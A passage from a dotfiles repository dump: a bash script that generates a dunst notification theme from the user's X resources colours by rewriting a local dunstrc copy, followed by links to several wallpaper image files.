## 4 | ## Usage 5 | ## 6 | ## ./ [] 7 | ## 8 | ## If it does not run, give execute permissions to the script with 9 | ## chmod +x . Then run ./. 10 | ## 11 | ## Options 12 | ## 13 | ## -h|--help Optional. Show help message. 14 | ## 15 | ## Description 16 | ## 17 | ## This script creates a dunst themed user config in $HOME/.config/dunst/ 18 | ## folder, changing dunst basic theming options (like fonts, colors, etc.) 19 | ## according to your current X resources color palette. 20 | ## 21 | ## To make this possible, it reads your current user config 22 | ## ($HOME/.conf/dunst/dunstrc, which is copied from the default config if 23 | ## it does not exist) and changes the attributes values with new ones (see 24 | ## Theming section for more info). Then it dumps the new configuration to 25 | ## $user_xr_color_conf file. 26 | ## 27 | ## Theming 28 | ## 29 | ## To change colors and fonts: 30 | ## 31 | ## * Firstly you have to ensure that those dunst attributes are defined in 32 | ## the corresponding sections. For example, to change the frame_color 33 | ## value from the global section, in $HOME/.config/dunst/dunstrc should 34 | ## be: 35 | ## 36 | ## ... 37 | ## [global] 38 | ## ... 39 | ## frame_color = 40 | ## ... 41 | ## 42 | ## * Then, you can change attribute values as you wish with the 43 | ## following format in theme_attr_dict: 44 | ## 45 | ## ["-"]="|$(xrdb_get '' '')" 46 | ## 47 | ## Each means the following: 48 | ## 49 | ## * sec - current section name e.g.: global. 50 | ## * attr - current attribute name e.g.: frame-color. 51 | ## * val - a simple value e.g.: "#fffeee", Monospace, 11... 52 | ## * X_res - X resource name e.g.: color8. 53 | ## * dev_val - default value to set if X_res is not found e.g.: #65737e. 54 | ## 55 | ## Theming example (you can check theme_attr_dict for other values): 56 | ## 57 | ## ["global-frame_color"]="\"$(xrdb_get 'color8' '#65737e') 58 | ## 59 | ## The function xrdb_get, searches the first parameter in the X resources 60 | ## database with appres (command installed from xorg-appres in archlinux 61 | ## and x11-utils in ubuntu). If the first parameter does not exist, the 62 | ## function returns the second parameter. For hex colors, is important to 63 | ## scape " characters for proper functioning of dunst config reader (for 64 | ## example "#ffeegg"). 65 | ## 66 | ## You can define X_res variables in $HOME/.Xresources file. For in depth 67 | ## syntax go to https://wiki.archlinux.org/index.php/X_resources. 68 | ## 69 | ############################################################################### 70 | 71 | set -e 72 | 73 | # Check if appres is installed 74 | if [ ! "$(command -v appres)" ]; then 75 | printf 'Install xorg-appres in archlinux and x11-utils in debian/ubuntu.\n' 76 | exit 1 77 | fi 78 | 79 | readonly script_name="$(basename "$0")" 80 | readonly base_dir="$(realpath "$(dirname "$0")")" 81 | 82 | # Show ussage 83 | usage() { 84 | grep -e '^##[^#]*$' "$base_dir/$script_name" | \ 85 | sed -e "s/^##[[:space:]]\{0,1\}//g" \ 86 | -e "s//${script_name}/g" 87 | exit 2 88 | } 2>/dev/null 89 | 90 | # Show help 91 | if [ "$#" -gt 0 ]; then 92 | if ! [[ "$1" == "--help" || "$1" == "-h" ]]; then 93 | printf '\nUnknown option.\n' 94 | fi 95 | usage 96 | fi 97 | 98 | # Function to get resource values 99 | xrdb_get () { 100 | output="$(appres Dunst | grep "$1:" | head -n1 | cut -f2)" 101 | default="$2" 102 | printf '%s' "${output:-$default}" 103 | } 104 | 105 | # 106 | # Attributes dictionary. Add or remove attributes (see header for more info) 107 | # 108 | declare -A theme_attr_dict=( 109 | ["global-font"]="$(xrdb_get 'font' 'Monospace') $(xrdb_get '*.font_size:' '11')" 110 | ["global-frame_width"]="$(xrdb_get 'border_width' '1')" 111 | ["global-frame_color"]="\"$(xrdb_get 'color8' '#65737e')\"" 112 | 113 | ["urgency_low-background"]="\"$(xrdb_get 'color0' '#2b303b')\"" 114 | ["urgency_low-foreground"]="\"$(xrdb_get 'color4' '#65737e')\"" 115 | ["urgency_low-frame_color"]="\"$(xrdb_get 'color4' '#65737e')\"" 116 | 117 | ["urgency_normal-background"]="\"$(xrdb_get 'color0' '#2b303b')\"" 118 | ["urgency_normal-foreground"]="\"$(xrdb_get 'color2' '#a3be8c')\"" 119 | ["urgency_normal-frame_color"]="\"$(xrdb_get 'color2' '#a3be8c')\"" 120 | 121 | ["urgency_critical-background"]="\"$(xrdb_get 'color0' '#2b303b')\"" 122 | ["urgency_critical-foreground"]="\"$(xrdb_get 'color1' '#bf616a')\"" 123 | ["urgency_critical-frame_color"]="\"$(xrdb_get 'color1' '#bf616a')\"" 124 | ) 125 | 126 | # Attributes dictionary keys. 127 | readonly valid_keys="${!theme_attr_dict[@]}" 128 | 129 | # 130 | # File paths 131 | # 132 | # User config dir and file 133 | readonly user_conf_dir="${XDG_CONFIG_HOME:-$HOME/.config}/dunst" 134 | readonly user_conf="$user_conf_dir/dunstrc" 135 | 136 | # Default config dir and example file 137 | example_conf_dir="/usr/share/dunst" 138 | example_conf="$example_conf_dir/dunstrc" 139 | 140 | # User xresources color config file 141 | readonly user_xr_color_conf="$user_conf_dir/dunstrc_xr_colors" 142 | 143 | 144 | # Check if the user config directory exists 145 | if ! [ -d "$user_conf_dir" ]; then 146 | printf 'Creating folder "%s".\n' "$user_conf_dir" 147 | mkdir -p "$user_conf_dir" 148 | fi 149 | 150 | # Check if the user config file exists 151 | if ! [ -f "$user_conf" ]; then 152 | printf '"%s" file does not exist.\nChecking for config file example.' \ 153 | "$user_conf" 154 | 155 | if [ -d "/usr/share/dunst" ]; then 156 | # Archlinux default dir and example file 157 | example_conf_dir="/usr/share/dunst" 158 | 159 | if [ -f "$example_conf_dir/dunstrc" ]; then 160 | example_conf="$example_conf_dir/dunstrc" 161 | else 162 | printf 'Could not find the example config file in "%s". 163 | \nPlease, change $example_conf variable in the script.' \ 164 | "$example_conf_dir" 165 | exit 1 166 | fi 167 | 168 | elif [ -d "/usr/share/doc/dunst" ]; then 169 | # Debian/Ubuntu default dir 170 | example_conf_dir="/usr/share/doc/dunst" 171 | 172 | if [ -f "$example_conf_dir/dunstrc.example.gz" ]; then 173 | # Ubuntu <= 17.10 and Debian <= 1.2.0-2 example file: 174 | example_conf="$example_conf_dir/dunstrc.example.gz" 175 | elif [ -f "$example_conf_dir/dunstrc.gz" ]; then 176 | # Ubuntu >= 18.04 and Debian >= 1.3.0-2 example file: 177 | example_conf="$example_conf_dir/dunstrc.gz" 178 | else 179 | printf 'Could not find the example config file in "%s". 180 | \nPlease, change $example_conf variable in the script.' \ 181 | "$example_conf_dir" 182 | exit 1 183 | fi 184 | 185 | else 186 | printf 'Could not find the example config directory. 187 | \nPlease, change $example_conf_dir variable in the script.' 188 | exit 1 189 | fi 190 | 191 | printf 'Copying example config to "%s".\n' "$user_conf_dir" 192 | 193 | # Get the extension to check if the file is compressed 194 | if [[ "${example_conf##*\.}" == "gz" ]]; then 195 | # Extract example file to user config file 196 | gunzip -c "$example_conf" > "$user_conf" 197 | else 198 | cp "$example_conf" "$user_conf_dir" 199 | fi 200 | 201 | fi 202 | 203 | # Regular expressions 204 | readonly re_section_line='^\[(.*)\]$' 205 | readonly re_empty_comment_line='(^$)|(^[[:space:]]*(\#)|(;))' 206 | readonly re_attribute_line='^([[:space:]]*)([_[:alnum:]]+)' 207 | 208 | # Create an array with the file lines 209 | mapfile -t conf < "$user_conf" 210 | 211 | # Iterate over the file lines 212 | for idx in "${!conf[@]}"; do 213 | # Current line 214 | curr_line="${conf[$idx]}" 215 | # If we are in a new section: 216 | if [[ "$curr_line" =~ $re_section_line ]]; then 217 | curr_section="${BASH_REMATCH[1]}" 218 | continue 219 | fi 220 | # Skip the line if it is empty or has a comment 221 | if [[ "$curr_line" =~ $re_empty_comment_line ]]; then 222 | continue 223 | fi 224 | # Get the attribute in the current line 225 | [[ "$curr_line" =~ $re_attribute_line ]] 226 | curr_attr_name="${BASH_REMATCH[2]}" 227 | curr_sett_name="${curr_section}-${curr_attr_name}" 228 | # If the current attribute is not in our dictionary, continue 229 | case "$valid_keys" in 230 | *"$curr_sett_name"*) 231 | printf -v conf[$idx] ' %s = %s' \ 232 | "${curr_attr_name}" \ 233 | "${theme_attr_dict[$curr_sett_name]}" 234 | ;; 235 | esac 236 | done 237 | 238 | # Create a header for the xr_color config file 239 | user_xr_color_conf_content="\ 240 | ################################### 241 | # 242 | # Config file created with 243 | # $script_name wrapper 244 | # 245 | ################################### 246 | " 247 | 248 | # After everything is completed, write the new config to a file 249 | user_xr_color_conf_content+="$(printf '%s\n' "${conf[@]}")" 250 | 251 | printf '%s\n' "$user_xr_color_conf_content" > "$user_xr_color_conf" 252 | 253 | printf '"%s" updated successfully.\n' "$user_xr_color_conf" 254 | 255 | -------------------------------------------------------------------------------- /walls/492445-Kuzu_no_Honkai-anime_girls-Yasuraoka_Hanabi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/magdeoz/dotfiles/ab24b1859c483ec4e69ca560829935b7ed80103c/walls/492445-Kuzu_no_Honkai-anime_girls-Yasuraoka_Hanabi.jpg -------------------------------------------------------------------------------- /walls/hackingtheloop_1920.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/magdeoz/dotfiles/ab24b1859c483ec4e69ca560829935b7ed80103c/walls/hackingtheloop_1920.jpg -------------------------------------------------------------------------------- /walls/quiet-1554666807895-8129.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/magdeoz/dotfiles/ab24b1859c483ec4e69ca560829935b7ed80103c/walls/quiet-1554666807895-8129.jpg -------------------------------------------------------------------------------- /walls/utlYSVn.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/magdeoz/dotfiles/ab24b1859c483ec4e69ca560829935b7ed80103c/walls/utlYSVn.jpg --------------------------------------------------------------------------------